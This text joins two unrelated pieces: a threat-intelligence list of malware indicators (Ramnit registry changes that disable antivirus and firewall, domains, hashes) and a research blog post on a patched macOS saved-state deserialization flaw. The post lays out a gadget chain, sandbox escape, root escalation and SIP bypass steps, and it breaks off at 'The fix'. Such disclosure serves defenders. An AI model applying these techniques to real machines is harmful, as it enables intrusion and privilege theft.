%TEMP%\ns<random, matching '[a-z][A-F0-9]{1,4}'>.tmp 14
%TEMP%\ns<random, matching '[a-z][A-F0-9]{4}'>.tmp\System.dll 14
%TEMP%\logsflat458 7
%TEMP%\logsflat458\sasgs527.dat 7
\TEMP\en-US\22d69844486d029467b528c89bf763a6.exe.mui 1
\TEMP\en-US\ef6731323cff411f303c2bd29b9f15c8.exe.mui 1
\TEMP\en-US\b2a7538d257a51b1a506b646c248fcbe.exe.mui 1
\TEMP\en-US\570979659276a2a985f97f7965f97f76.exe.mui 1
\TEMP\en-US\f231d436f8d62de3082ea791da78ed50.exe.mui 1
\TEMP\en\f231d436f8d62de3082ea791da78ed50.exe.mui 1
\TEMP\en\ef6731323cff411f303c2bd29b9f15c8.exe.mui 1
%TEMP%\Selenitic 1
%TEMP%\Dextroamphetamine 1
%TEMP%\Selenitic\Uncooping.exe 1
%TEMP%\Dextroamphetamine\Lobcokt.exe 1
\TEMP\en\22d69844486d029467b528c89bf763a6.exe.mui 1
%TEMP%\Tiki124 1
%TEMP%\Tiki124\Unexpecting.exe 1
\TEMP\en\b2a7538d257a51b1a506b646c248fcbe.exe.mui 1
\TEMP\en\570979659276a2a985f97f7965f97f76.exe.mui 1
%TEMP%\Sekundrkommunens 1
%TEMP%\Giganter27 1
%TEMP%\Sekundrkommunens\Unpracticability174.exe 1
%TEMP%\Giganter27\Spandauerne.exe 1
*See JSON for more IOCs

#### File Hashes

 125b94822affbd4b1b67333905a91231c62e427334475ada0daa44d007e884c1 332cb82247db85cd4c772200938a7623c4161a15d680157cdc688b53aae2303a 3efb2166b220fd7d7e5df42739d998f6ed4c70fefdcb03b6a9b1810d6dcfcd77 42d77fbb29467078ade8ecba705a648d3d4aeacd5f6735a6d92d17cb55ff7049 6761e346725d0cfa3436b459176ff467f7b4a426af0559845032c912420747cd 72d9be63e832a89a04ffcfb48c30199d3461fe982bde962f57c7cf71e0f5f06a 8c420a6337376e20c987679a34e3d09194e504c444fbf50619328f5c0dda9217 942dcafe7a16cfdd1769048c73590ec2c29e9c76a9f6c46e6b6e88ac2220b0ef 9ead44844a24092afb456478686839852e04cd1ad8e081185ae432f1171baa1b a3ec71d27779875c7262d608c3c5e591fa7c12f0893e006bb6f7d2ad1d710142 a742e0a1f7939fdaf5eb615bac3da040781bd19e84e3f647186314ecb6e0fa5e ce2ff79b4178d9b7f142001bc227753dd395fcd1a28a385bfa379e0857181467 d52c22336b2e2efaeab6b8eb2be8726a36eaea553905b01102d9716d4c6184af e2deccb5d8cc1ec270d95501aaa7e53951bd7f89c2c0bcd50420bf94b7057675

#### Coverage

Product Protection
Secure Endpoint
Cloudlock N/A
CWS
Email Security
Network Security
Stealthwatch N/A
Stealthwatch Cloud N/A
Secure Malware Analytics
Umbrella
WSA

### Win.Dropper.Ramnit-9961396-0

#### Indicators of Compromise

• IOCs collected from dynamic analysis of 26 samples
Registry Keys Occurrences
<HKLM>\SOFTWARE\WOW6432NODE\MICROSOFT\SECURITY CENTER Value Name: AntiVirusOverride  26
<HKLM>\SOFTWARE\WOW6432NODE\MICROSOFT\SECURITY CENTER Value Name: AntiVirusDisableNotify  26
<HKLM>\SOFTWARE\WOW6432NODE\MICROSOFT\SECURITY CENTER Value Name: FirewallDisableNotify  26
<HKLM>\SOFTWARE\WOW6432NODE\MICROSOFT\SECURITY CENTER Value Name: FirewallOverride  26
<HKLM>\SOFTWARE\WOW6432NODE\MICROSOFT\SECURITY CENTER Value Name: UpdatesDisableNotify  26
<HKLM>\SOFTWARE\WOW6432NODE\MICROSOFT\SECURITY CENTER Value Name: UacDisableNotify  26
<HKLM>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\SYSTEM Value Name: EnableLUA  26
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\SHAREDACCESS\PARAMETERS\FIREWALLPOLICY\STANDARDPROFILE Value Name: EnableFirewall  26
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\SHAREDACCESS\PARAMETERS\FIREWALLPOLICY\STANDARDPROFILE Value Name: DoNotAllowExceptions  26
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\SHAREDACCESS\PARAMETERS\FIREWALLPOLICY\STANDARDPROFILE Value Name: DisableNotifications  26
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\WSCSVC Value Name: Start  26
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\WINDEFEND Value Name: Start  26
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\MPSSVC Value Name: Start  26
<HKLM>\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION Value Name: jfghdug_ooetvtgk  26
<HKCU>\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN Value Name: JudCsgdy  26
<HKLM>\SYSTEM\CONTROLSET001\SERVICES\WUAUSERV Value Name: Start  26
<HKLM>\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN Value Name: Windows Defender  26
<HKLM>\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON Value Name: Userinit  26
<HKLM>\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON Value Name: Userinit  26
Mutexes Occurrences
qazwsxedc 26
{7930D12C-1D38-EB63-89CF-4C8161B79ED4} 26
IP Addresses contacted by malware. Does not indicate maliciousness Occurrences
72[.]26[.]218[.]70 25
195[.]201[.]179[.]207 25
208[.]100[.]26[.]245 25
46[.]165[.]220[.]155 25
35[.]205[.]61[.]67 25
142[.]250[.]80[.]14 25
63[.]251[.]235[.]76 25
64[.]225[.]91[.]73 25
Domain Names contacted by malware. Does not indicate maliciousness Occurrences
google[.]com 25
gjvoemsjvb[.]com 25
ahpygyxe[.]com 25
msoalrhvphqrnjv[.]com 25
rdslmvlipid[.]com 25
jpcqdmfvn[.]com 25
rrmlyaviljwuoph[.]com 25
maajnyhst[.]com 25
enbbojmjpss[.]com 25
oqmfrxak[.]com 25
tdccjwtetv[.]com 25
tpxobasr[.]com 25
xpdsuvpcvrcrnwbxqfx[.]com 25
fbrlgikmlriqlvel[.]com 25
boeyrhmrd[.]com 25
ugcukkcpplmouoah[.]com 25
gugendolik[.]com 25
Files and or directories created Occurrences
%LOCALAPPDATA%\bolpidti 26
%LOCALAPPDATA%\bolpidti\judcsgdy.exe 26
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\judcsgdy.exe 26

#### File Hashes

 081742e8ed56a1a933e0507ccd536aaaf7242ac76d47a1a49626ee71c6756b53 0e372167303e500219b580a1a0367d2b69ab693e56934584e05cd963736bd463 10cef31349a4842546edbc5244d0d3aaed1e3c058008800c889abf5dc43ec343 127ee9c2897fb600dec742861451fdcf48820c200e15df7479542ed4232c0584 155b0301ce2f88c396fb7aa77cbc82c51a01660e6a74b63f7ba8dc8f023ea7e8 1e1773938b5bdd08be479ca9186a30d3fad83ea67ae905f391508ac543c2a38f 263351025d462b47660ea4bacd71ae1fd694de45a3d9bd5b14e58be1c4362d00 2e2ac92783031efdde48674b0ed3362c81fac9b25756ee39af1629f39309ccc2 340833674362d0c01995cc8657a95a628fddeb853272b6d89dfcf98bbe106cbe 39b9cfa59e688e1d56e6499b80637f321f777d022dff4a9eaf691ba9a1e9cc86 3cc065b26f54c993606649d1679bca81068c10e3727fdf9ee811fa6a17c1ebad 41b21c4398fa089007a9a34aac8a3f5d14b61814ff036b555cc6b09c8efd81aa 4b183d215f86d026ef2bac0cf5dd4b28146612d52206e358169b0f1d3209c76d 4ed2cf991c4ed810cdbb5d567d33e1f1d94218ae43c506d6b33d2acc35009598 57fa2ea50d27a8cc8feec2867a680ae6e9a0d1a47d117733a73db86da3bf8416 5de59e2cc183ce5f34b2ca66fbd1edce54b3a6208ae7621c49cbd78835bdcbf5 699e006e4a6871ca898aacf55f84c36ea43d8b9e421b71dd20a0fe5a06378d66 6a216904abbf52246819029936c7e8705f50c61ba0ee6a62d8a14881cfca0a33 77aeccd3d538a6effc3623344a331d5190c747489a5cc511d4e7d973e879ff8a 77c966ca4088e8b918b4e40ed539a510fad2a2631ff17d1a1b01a1670e6fa400 79622d5b5ef3c93d32bcaaba64cfbbe4a88ec7f56d1f7f2160b9219321058f29 8c878b6608dba85c650ffda157cc14d885f14559e8c6b38a5ae0be85d5a73001 8d5f17bf76258cf83d0678cef645b0fa2f0b6df56858fb0ec4cab8894b59b316 a1574bfff6cebf0757ab5a7fc7634b7956fed8943e088b87820ff13be65789c4 af0aa7289a5770da3a158d0f0fbea1c5073b6ca4f6fe5a7bebdde44a55ca2c2e
*See JSON for more IOCs

#### Coverage

Product Protection
Secure Endpoint
Cloudlock N/A
CWS
Email Security
Network Security
Stealthwatch N/A
Stealthwatch Cloud N/A
Secure Malware Analytics
Umbrella
WSA

# Process injection: breaking all macOS security layers with a single vulnerability

12 August 2022 at 00:00

If you have created a new macOS app with Xcode 13.2, you may noticed this new method in the template:

- (BOOL)applicationSupportsSecureRestorableState:(NSApplication *)app {
return YES;
}


This was added to the Xcode template to address a process injection vulnerability we reported!

In macOS 12.0.1 Monterey, Apple fixed CVE-2021-30873. This was a process injection vulnerability affecting (essentially) all macOS AppKit-based applications. We reported this vulnerability to Apple, along with methods to use this vulnerability to escape the sandbox, elevate privileges to root and bypass the filesystem restrictions of SIP. In this post, we will first describe what process injection is, then the details of this vulnerability and finally how we abused it.

# Process injection

Process injection is the ability for one process to execute code in a different process. In Windows, one reason this is used is to evade detection by antivirus scanners, for example by a technique known as DLL hijacking. This allows malicious code to pretend to be part of a different executable. In macOS, this technique can have significantly more impact than that due to the difference in permissions two applications can have.

In the classic Unix security model, each process runs as a specific user. Each file has an owner, group and flags that determine which users are allowed to read, write or execute that file. Two processes running as the same user have the same permissions: it is assumed there is no security boundary between them. Users are security boundaries, processes are not. If two processes are running as the same user, then one process could attach to the other as a debugger, allowing it to read or write the memory and registers of that other process. The root user is an exception, as it has access to all files and processes. Thus, root can always access all data on the computer, whether on disk or in RAM.

This was, in essence, the same security model as macOS until the introduction of SIP, also known as “rootless”. This name doesn’t mean that there is no root user anymore, but it is now less powerful on its own. For example, certain files can no longer be read by the root user unless the process also has specific entitlements. Entitlements are metadata that is included when generating the code signature for an executable. Checking if a process has a certain entitlement is an essential part of many security measures in macOS. The Unix ownership rules are still present, this is an additional layer of permission checks on top of them. Certain sensitive files (e.g. the Mail.app database) and features (e.g. the webcam) are no longer possible with only root privileges but require an additional entitlement. In other words, privilege escalation is not enough to fully compromise the sensitive data on a Mac.

For example, using the following command we can see the entitlements of Mail.app:

\$ codesign -dvvv --entitlements - /System/Applications/Mail.app


In the output, we see the following entitlement:

...
[Key] com.apple.rootless.storage.Mail
[Value]
[Bool] true
...


This is what grants Mail.app the permission to read the SIP protected mail database, while other malware will not be able to read it.

Aside from entitlements, there are also the permissions handled by Trust, Transparency and Control (TCC). This is the mechanism by which applications can request access to, for example, the webcam, microphone and (in recent macOS versions) also files such as those in the Documents and Download folders. This means that even applications that do not use the Mac Application sandbox might not have access to certain features or files.

Of course entitlements and TCC permissions would be useless if any process can just attach as a debugger to another process of the same user. If one application has access to the webcam, but the other doesn’t, then one process could attach as a debugger to the other process and inject some code to steal the webcam video. To fix this, the ability to debug other applications has been heavily restricted.

Changing a security model that has been used for decades to a more restrictive model is difficult, especially in something as complicated as macOS. Attaching debuggers is just one example, there are many similar techniques that could be used to inject code into a different process. Apple has squashed many of these techniques, but many other ones are likely still undiscovered.

Aside from Apple’s own code, these vulnerabilities could also occur in third-party software. It’s quite common to find a process injection vulnerability in a specific application, which means that the permissions (TCC permissions and entitlements) of that application are up for grabs for all other processes. Getting those fixed is a difficult process, because many third-party developers are not familiar with this new security model. Reporting these vulnerabilities often requires fully explaining this new model! Especially Electron applications are infamous for being easy to inject into, as it is possible to replace their JavaScript files without invalidating the code signature.

More dangerous than a process injection vulnerability in one application is a process injection technique that affects multiple, or even all, applications. This would give access to a large number of different entitlements and TCC permissions. A generic process injection vulnerability affecting all applications is a very powerful tool, as we’ll demonstrate in this post.

# The saved state vulnerability

When shutting down a Mac, it will prompt you to ask if the currently open windows should be reopened the next time you log in. This is a part of functionally called “saved state” or “persistent UI”.

When reopening the windows, it can even restore new documents that were not yet saved in some applications.

It is used in more places than just at shutdown. For example, it is also used for a feature called App Nap. When application has been inactive for a while (has not been the focused application, not playing audio, etc.), then the system can tell it to save its state and terminates the process. macOS keeps showing a static image of the application’s windows and in the Dock it still appears to be running, while it is not. When the user switches back to the application, it is quickly launched and resumes its state. Internally, this also uses the same saved state functionality.

When building an application using AppKit, support for saving the state is for a large part automatic. In some cases the application needs to include its own objects in the saved state to ensure the full state can be recovered, for example in a document-based application.

Each time an application loses focus, it writes to the files:

~/Library/Saved Application State/<Bundle ID>.savedState/windows.plist
~/Library/Saved Application State/<Bundle ID>.savedState/data.data


The windows.plist file contains a list of all of the application’s open windows. (And some other things that don’t look like windows, such as the menu bar and the Dock menu.)

For example, a windows.plist for TextEdit.app could look like this:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<array>
<dict>
<real>1248</real>
<key>NSDataKey</key>
<data>
Ay1IqBriwup4bKAanpWcEw==
</data>
<true/>
<key>NSWindowID</key>
<integer>1</integer>
<key>NSWindowNumber</key>
<integer>5978</integer>
</dict>
<dict>
<key>NSDataKey</key>
<data>
5lyzOSsKF24yEcwAKTBSVw==
</data>
<key>NSDragRegion</key>
<data>
AAAAKQAAAC8AAAA9AAAARwIAAMcBAAAMAAAAAwAAAAcAAAAVAAAAGwAAACkA
AAAvAAAAPQAAAAkBAABLAQAARwIAANABAAAKAAAAFQAAABsAAAApAAAALwAA
</data>
<key>NSTitle</key>
<string>Untitled</string>
<key>NSUIID</key>
<string>_NS:34</string>
<key>NSWindowCloseButtonFrame</key>
<string>{{7, 454}, {14, 16}}</string>
<key>NSWindowFrame</key>
<string>177 501 586 476 0 0 1680 1025 </string>
<key>NSWindowID</key>
<integer>2</integer>
<key>NSWindowLevel</key>
<integer>0</integer>
<key>NSWindowMiniaturizeButtonFrame</key>
<string>{{27, 454}, {14, 16}}</string>
<key>NSWindowNumber</key>
<integer>5982</integer>
<key>NSWindowWorkspaceID</key>
<string></string>
<key>NSWindowZoomButtonFrame</key>
<string>{{47, 454}, {14, 16}}</string>
</dict>
<dict>
<key>CFBundleVersion</key>
<string>378</string>
<key>NSDataKey</key>
<data>
P7BYxMryj6Gae9Q76wpqVw==
</data>
<array>
<dict>
<key>command</key>
<integer>1</integer>
<key>mark</key>
<integer>2</integer>
<key>name</key>
<string>Untitled</string>
<key>system-icon</key>
<integer>1735879022</integer>
<key>tag</key>
<integer>2</integer>
</dict>
<dict>
<key>separator</key>
<true/>
</dict>
<dict>
<key>command</key>
<integer>2</integer>
<key>indent</key>
<integer>0</integer>
<key>name</key>
<string>New Document</string>
<key>tag</key>
<integer>0</integer>
</dict>
</array>
<key>NSExecutableInode</key>
<integer>1152921500311961010</integer>
<key>NSIsGlobal</key>
<true/>
<key>NSSystemAppearance</key>
<data>
YnBsaXN0MDDUAQIDBAUGBwpYJHZlcnNpb25ZJGFyY2hpdmVyVCR0b3BYJG9i
amVjdHMSAAGGoF8QD05TS2V5ZWRBcmNoaXZlctEICVRyb290gAGkCwwRElUk
bnVsbNINDg8QViRjbGFzc18QEE5TQXBwZWFyYW5jZU5hbWWAA4ACXxAUTlNB
cHBlYXJhbmNlTmFtZUFxdWHSExQVFlokY2xhc3NuYW1lWCRjbGFzc2VzXE5T
QXBwZWFyYW5jZaIVF1hOU09iamVjdAgRGiQpMjdJTFFTWF5jan1/gZidqLG+
</data>
<key>NSSystemVersion</key>
<array>
<integer>12</integer>
<integer>2</integer>
<integer>1</integer>
</array>
<key>NSWindowID</key>
<integer>4294967295</integer>
<key>NSWindowZOrder</key>
<array>
<integer>5982</integer>
</array>
</dict>
</array>
</plist>


The data.data file contains a custom binary format. It consists of a list of records, each record contains an AES-CBC encrypted serialized object. The windows.plist file contains the key (NSDataKey) and a ID (NSWindowID) for the record from data.data it corresponds to.1

For example:

00000000  4e 53 43 52 31 30 30 30  00 00 00 01 00 00 01 b0  |NSCR1000........|
00000010  ec f2 26 b9 8b 06 c8 d0  41 5d 73 7a 0e cc 59 74  |..&.....A]sz..Yt|
00000020  89 ac 3d b3 b6 7a ab 1b  bb f7 84 0c 05 57 4d 70  |..=..z.......WMp|
00000030  cb 55 7f ee 71 f8 8b bb  d4 fd b0 c6 28 14 78 23  |.U..q.......(.x#|
00000040  ed 89 30 29 92 8c 80 bf  47 75 28 50 d7 1c 9a 8a  |..0)....Gu(P....|
00000050  94 b4 d1 c1 5d 9e 1a e0  46 62 f5 16 76 f5 6f df  |....]...Fb..v.o.|
00000060  43 a5 fa 7a dd d3 2f 25  43 04 ba e2 7c 59 f9 e8  |C..z../%C...|Y..|
00000070  a4 0e 11 5d 8e 86 16 f0  c5 1d ac fb 5c 71 fd 9d  |...]........\q..|
00000080  81 90 c8 e7 2d 53 75 43  6d eb b6 aa c7 15 8b 1a  |....-SuCm.......|
00000090  9c 58 8f 19 02 1a 73 99  ed 66 d1 91 8a 84 32 7f  |.X....s..f....2.|
000000a0  1f 5a 1e e8 ae b3 39 a8  cf 6b 96 ef d8 7b d1 46  |.Z....9..k...{.F|
000000b0  0c e2 97 d5 db d4 9d eb  d6 13 05 7d e0 4a 89 a4  |...........}.J..|
000000c0  d0 aa 40 16 81 fc b9 a5  f5 88 2b 70 cd 1a 48 94  |[email protected]+p..H.|
000000d0  47 3d 4f 92 76 3a ee 34  79 05 3f 5d 68 57 7d b0  |G=O.v:.4y.?]hW}.|
000000e0  54 6f 80 4e 5b 3d 53 2a  6d 35 a3 c9 6c 96 5f a5  |To.N[=S*m5..l._.|
000000f0  06 ec 4c d3 51 b9 15 b8  29 f0 25 48 2b 6a 74 9f  |..L.Q...).%H+jt.|
00000100  1a 5b 5e f1 14 db aa 8d  13 9c ef d6 f5 53 f1 49  |.[^..........S.I|
00000110  4d 78 5a 89 79 f8 bd 68  3f 51 a2 a4 04 ee d1 45  |MxZ.y..h?Q.....E|
00000120  65 ba c4 40 ad db e3 62  55 59 9a 29 46 2e 6c 07  |[email protected])F.l.|
00000130  34 68 e9 00 89 15 37 1c  ff c8 a5 d8 7c 8d b2 f0  |4h....7.....|...|
00000140  4b c3 26 f9 91 f8 c4 2d  12 4a 09 ba 26 1d 00 13  |K.&....-.J..&...|
00000150  65 ac e7 66 80 c0 e2 55  ec 9a 8e 09 cb 39 26 d4  |e..f...U.....9&.|
00000160  c8 15 94 d8 2c 8b fa 79  5f 62 18 39 f0 a5 df 0b  |....,..y_b.9....|
00000170  3d a4 5c bc 30 d5 2b cc  08 88 c8 49 d6 ab c0 e1  |=.\.0.+....I....|
00000180  c1 e5 41 eb 3e 2b 17 80  c4 01 64 3d 79 be 82 aa  |..A.>+....d=y...|
00000190  3d 56 8d bb e5 7a ea 89  0f 4c dc 16 03 e9 2a d8  |=V...z...L....*.|
000001a0  c5 3e 25 ed c2 4b 65 da  8a d9 0d d9 23 92 fd 06  |.>%..Ke.....#...|
[...]


Whenever an application is launched, AppKit will read these files and restore the windows of the application. This happens automatically, without the app needing to implement anything. The code for reading these files is quite careful: if the application crashed, then maybe the state is corrupted too. If the application crashes while restoring the state, then the next time the state is discarded and it does a fresh start.

The vulnerability we found is that the encrypted serialized object stored in the data.data file was not using “secure coding”. To explain what that means, we’ll first explain serialization vulnerabilities, in particular on macOS.

## Serialized objects

Many object-oriented programming languages have added support for binary serialization, which turns an object into a bytestring and back. Contrary to XML and JSON, these are custom, language specific formats. In some programming languages, serialization support for classes is automatic, in other languages classes can opt-in.

In many of those languages these features have lead to vulnerabilities. The problem in many implementations is that an object is created first, and then its type is checked. Methods may be called on these objects when creating or destroying them. By combining objects in unusual ways, it is sometimes possible to gain remote code execution when a malicious object is deserialized. It is, therefore, not a good idea to use these serialization functions for any data that might be received over the network from an untrusted party.

For Python pickle and Ruby Marshall.load remote code execution is straightforward. In Java ObjectInputStream.readObject and C#, RCE is possible if certain commonly used libraries are used. The ysoserial and ysoserial.net tools can be used to generate a payload depending on the libraries in use. In PHP, exploitability for RCE is rare.

### Objective-C serialization

In Objective-C, classes can implement the NSCoding protocol to be serializable. Subclasses of NSCoder, such as NSKeyedArchiver and NSKeyedUnarchiver, can be used to serialize and deserialize these objects.

How this works in practice is as follows. A class that implements NSCoding must include a method:

- (id)initWithCoder:(NSCoder *)coder;


In this method, this object can use coder to decode its instance variables, using methods such as -decodeObjectForKey:, -decodeIntegerForKey:, -decodeDoubleForKey:, etc. When it uses -decodeObjectForKey:, the coder will recursively call -initWithCoder: on that object, eventually decoding the entire graph of objects.

Apple has also realized the risk of deserializing untrusted input, so in 10.8, the NSSecureCoding protocol was added. The documentation for this protocol states:

A protocol that enables encoding and decoding in a manner that is robust against object substitution attacks.

This means that instead of creating an object first and then checking its type, a set of allowed classes needs to be included when decoding an object.

So instead of the unsafe construction:

id obj = [decoder decodeObjectForKey:@"myKey"];
if (![obj isKindOfClass:[MyClass class]]) { /* ...fail... */ }


The following must be used:

id obj = [decoder decodeObjectOfClass:[MyClass class] forKey:@"myKey"];


This means that when a secure coder is created, -decodeObjectForKey: is no longer allowed, but -decodeObjectOfClass:forKey: must be used.

That makes exploitable vulnerabilities significantly harder, but it could still happen. One thing to note here is that subclasses of the specified class are allowed. If, for example, the NSObject class is specified, then all classes implementing NSCoding are still allowed. If only NSDictionary are expected and an imported framework contains a rarely used and vulnerable subclass of NSDictionary, then this could also create a vulnerability.

In all of Apple’s operating systems, these serialized objects are used all over the place, often for inter-process exchange of data. For example, NSXPCConnection heavily relies on secure serialization for implementing remote method calls. In iMessage, these serialized objects are even exchanged with other users over the network. In such cases it is very important that secure coding is always enabled.

## Creating a malicious serialized object

In the data.data file for saved states, objects were stored using an NSKeyedArchiver without secure coding enabled. This means we could include objects of any class that implements the NSCoding protocol. The likely reason for this is that applications can extend the saved state with their own objects, and because the saved state functionality is older than NSSecureCoding, Apple couldn’t just upgrade this to secure coding, as this could break third-party applications.

To exploit this, we wanted a method for constructing a chain of objects that could allows us to execute arbitrary code. However, no project similar to ysoserial for Objective-C appears to exist and we could not find other examples of abusing insecure deserialization in macOS. In Remote iPhone Exploitation Part 1: Poking Memory via iMessage and CVE-2019-8641 Samuel Groß of Google Project Zero describes an attack against a secure coder by abusing a vulnerability in NSSharedKeyDictionary, an uncommon subclass of NSDictionary. As this vulnerability is now fixed, we couldn’t use this.

By decompiling a large number of -initWithCoder: methods in AppKit, we eventually found a combination of 2 objects that we could use to call arbitrary Objective-C methods on another deserialized object.

We start with NSRuleEditor. The -initWithCoder: method of this class creates a binding to an object from the same archive with a key path also obtained from the archive.

Bindings are a reactive programming technique in Cocoa. It makes it possible to directly bind a model to a view, without the need for the boilerplate code of a controller. Whenever a value in the model changes, or the user makes a change in the view, the changes are automatically propagated.

A binding is created calling the method:

- (void)bind:(NSBindingName)binding
toObject:(id)observable
withKeyPath:(NSString *)keyPath
options:(NSDictionary<NSBindingOption, id> *)options;


This binds the property binding of the receiver to the keyPath of observable. A keypath a string that can be used, for example, to access nested properties of the object. But the more common method for creating bindings is by creating them as part of a XIB file in Xcode.

For example, suppose the model is a class Person, which has a property @property (readwrite, copy) NSString *name;. Then you could bind the “value” of a text field to the “name” keypath of a Person to create a field that shows (and can edit) the person’s name.

In the XIB editor, this would be created as follows:

The different options for what a keypath can mean are actually quite complicated. For example, when binding with a keypath of “foo”, it would first check if one the methods getFoo, foo, isFoo and _foo exists. This would usually be used to access a property of the object, but this is not required. When a binding is created, the method will be called immediately when creating the binding, to provide an initial value. It does not matter if that method actually returns void. This means that by creating a binding during deserialization, we can use this to call zero-argument methods on other deserialized objects!

ID NSRuleEditor::initWithCoder:(ID param_1,SEL param_2,ID unarchiver)
{
...

id arrayOwner = [unarchiver decodeObjectForKey:@"NSRuleEditorBoundArrayOwner"];

...

if (arrayOwner) {
keyPath = [unarchiver decodeObjectForKey:@"NSRuleEditorBoundArrayKeyPath"];
[self bind:@"rows" toObject:arrayOwner withKeyPath:keyPath options:nil];
}

...
}


In this case we use it to call -draw on the next object.

The next object we use is an NSCustomImageRep object. This obtains a selector (a method name) as a string and an object from the archive. When the -draw method is called, it invokes the method from the selector on the object. It passes itself as the first argument:


ID NSCustomImageRep::initWithCoder:(ID param_1,SEL param_2,ID unarchiver)
{
...
id drawObject = [unarchiver decodeObjectForKey:@"NSDrawObject"];
self.drawObject = drawObject;
id drawMethod = [unarchiver decodeObjectForKey:@"NSDrawMethod"];
SEL selector = NSSelectorFromString(drawMethod);
self.drawMethod = selector;
...
}

...

void ___24-[NSCustomImageRep_draw]_block_invoke(long param_1)
{
...
[self.drawObject performSelector:self.drawMethod withObject:self];
...
}


By deserializing these two classes we can now call zero-argument methods and multiple argument methods, although the first argument will be an NSCustomImageRep object and the remaining arguments will be whatever happens to still be in those registers. Nevertheless, is a very powerful primitive. We’ll cover the rest of the chain we used in a future blog post.

# Exploitation

## Sandbox escape

First of all, we escaped the Mac Application sandbox with this vulnerability. To explain that, some more background on the saved state is necessary.

In a sandboxed application, many files that would be stored in ~/Library are stored in a separate container instead. So instead of saving its state in:

~/Library/Saved Application State/<Bundle ID>.savedState/


Sandboxed applications save their state to:

~/Library/Containers/<Bundle ID>/Data/Library/Saved Application State/<Bundle ID>.savedState/


Apparently, when the system is shut down while an application is still running (when the prompt is shown asking the user whether to reopen the windows the next time), the first location is symlinked to the second one by talagent. We are unsure of why, it might have something to do with upgrading an application to a new version which is sandboxed.

Secondly, most applications do not have access to all files. Sandboxed applications are very restricted of course, but with the addition of TCC even accessing the Downloads, Documents, etc. folders require user approval. If the application would open an open or save panel, it would be quite inconvenient if the user could only see the files that that application has access to. To solve this, a different process is launched when opening such a panel: com.apple.appkit.xpc.openAndSavePanelService. Even though the window itself is part of the application, its contents are drawn by openAndSavePanelService. This is an XPC service which has full access to all files. When the user selects a file in the panel, the application gains temporary access to that file. This way, users can still browse their entire disk even in applications that do not have permission to list those files.

As it is an XPC service with service type Application, it is launched separately for each app.

What we noticed is that this XPC Service reads its saved state, but using the bundle ID of the app that launched it! As this panel might be part of the saved state of multiple applications, it does make some sense that it would need to separate its state per application.

As it turns out, it reads its saved state from the location outside of the container, but with the application’s bundle ID:

~/Library/Saved Application State/<Bundle ID>.savedState/


But as we mentioned if the app was ever open when the user shut down their computer, then this will be a symlink to the container path.

Thus, we can escape the sandbox in the following way:

1. Wait for the user to shut down while the app is open, if the symlink does not yet exist.
2. Write malicious data.data and windows.plist files inside the app’s own container.
3. Open an NSOpenPanel or NSSavePanel.

The com.apple.appkit.xpc.openAndSavePanelService process will now deserialize the malicious object, giving us code execution in a non-sandboxed process.

This was fixed earlier than the other issues, as CVE-2021-30659 in macOS 11.3. Apple addressed this by no longer loading the state from the same location in com.apple.appkit.xpc.openAndSavePanelService.

## Privilege escalation

By injecting our code into an application with a specific entitlement, we can elevate our privileges to root. For this, we could apply the technique explained by A2nkF in Unauthd - Logic bugs FTW.

Some applications have an entitlement of com.apple.private.AuthorizationServices containing the value system.install.apple-software. This means that this application is allowed to install packages that have a signature generated by Apple without authorization from the user. For example, “Install Command Line Developer Tools.app” and “Bootcamp Assistant.app” have this entitlement. A2nkF also found a package signed by Apple that contains a vulnerability: macOSPublicBetaAccessUtility.pkg. When this package is installed to a specific disk, it will run (as root) a post-install script from that disk. The script assumes it is being installed to a disk containing macOS, but this is not checked. Therefore, by creating a malicious script at the same location it is possible to execute code as root by installing this package.

The exploitation steps are as follows:

1. Create a RAM disk and copy a malicious script to the path that will be executed by macOSPublicBetaAccessUtility.pkg.
2. Inject our code into an application with the com.apple.private.AuthorizationServices entitlement containing system.install.apple-software by creating the windows.plist and data.data files for that application and then launching it.
3. Use the injected code to install the macOSPublicBetaAccessUtility.pkg package to the RAM disk.
4. Wait for the post-install script to run.

In the writeup from A2nkF, the post-install script ran without the filesystem restrictions of SIP. It inherited this from the installation process, which needs it as package installation might need to write to SIP protected locations. This was fixed by Apple: post- and pre-install scripts are no longer SIP exempt. The package and its privilege escalation can still be used, however, as Apple still uses the same vulnerable installer package.

## SIP filesystem bypass

Now that we have escaped the sandbox and elevated our privilages to root, we did want to bypass SIP as well. To do this, we looked around at all available applications to find one with a suitable entitlement. Eventually, we found something on the macOS Big Sur Beta installation disk image: “macOS Update Assistant.app” has the com.apple.rootless.install.heritable entitlement. This means that this process can write to all SIP protected locations (and it is heritable, which is convenient because we can just spawn a shell). Although it is supposed to be used only during the beta installation, we can just copy it to a normal macOS environment and run it there.

The exploitation for this is quite simple:

1. Create malicious windows.plist and data.data files for “macOS Update Assistant.app”.
2. Launch “macOS Update Assistant.app”.

When exempt from SIP’s filesystem restrictions, we can read all files from protected locations, such as the user’s Mail.app mailbox. We can also modify the TCC database, which means we can grant ourself permission to access the webcam, microphone, etc. We could also persist our malware on locations which are protected by SIP, making it very difficult to remove by anyone other than Apple. Finally, we can change the database of approved kernel extensions. This means that we could load a new kernel extension silently, without user approval. When combined with a vulnerable kernel extension (or a codesigning certificate that allows signing kernel extensions), we would have been able to gain kernel code execution, which would allow disabling all other restrictions too.

# Demo

We recorded the following video to demonstrate the different steps. It first shows that the application “Sandbox” is sandboxed, then it escapes its sandbox and launches “Privesc”. This elevates privileges to root and launches “SIP Bypass”. Finally, this opens a reverse shell that is exempt from SIP’s filesystem restrictions, which is demonstrated by writing a file in /var/db/SystemPolicyConfiguration (the location where the database of approved kernel modules is stored):

# The fix

